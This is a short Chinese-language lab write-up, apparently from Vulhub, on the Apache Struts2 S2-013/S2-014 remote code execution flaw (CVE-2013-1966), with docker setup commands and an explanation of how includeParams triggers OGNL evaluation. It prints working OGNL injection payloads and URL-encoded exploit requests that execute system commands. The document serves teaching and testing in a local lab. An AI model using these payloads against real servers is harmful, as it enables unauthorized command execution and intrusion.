S2-013/S2-014 遠程代碼執行漏洞 (CVE-2013-1966)
影響版本: 2.0.0 - 2.3.14.1
漏洞詳情:
測試環境搭建
docker-compose build
docker-compose up -d
原理與測試
Struts2 標簽中 <s:a> 和 <s:url> 都包含一個 includeParams 屬性,其值可設置為 none,get 或 all,參考官方其對應意義如下:
- none - 鏈接不包含請求的任意參數值(默認)
- get - 鏈接只包含 GET 請求中的參數和其值
- all - 鏈接包含 GET 和 POST 所有參數和其值
<s:a>用來顯示一個超鏈接,當includeParams=all的時候,會將本次請求的GET和POST參數都放在URL的GET參數上。在放置參數的過程中會將參數進行OGNL渲染,造成任意命令執行漏洞。
任意命令執行POC:
${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}
// 或
${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}
如:http://your-ip:8080/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

S2-014 是對 S2-013 修復的加強,在 S2-013 修復的代碼中忽略了 ${ognl_exp} OGNL 表達式執行的方式,因此 S2-014 是對其的補丁加強。
http://localhost:8080/S2-013/link.action?xxxx=%24%7B%28%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%29%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29%28@java.lang.Runtime@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29%29%7D
Vulhub 文檔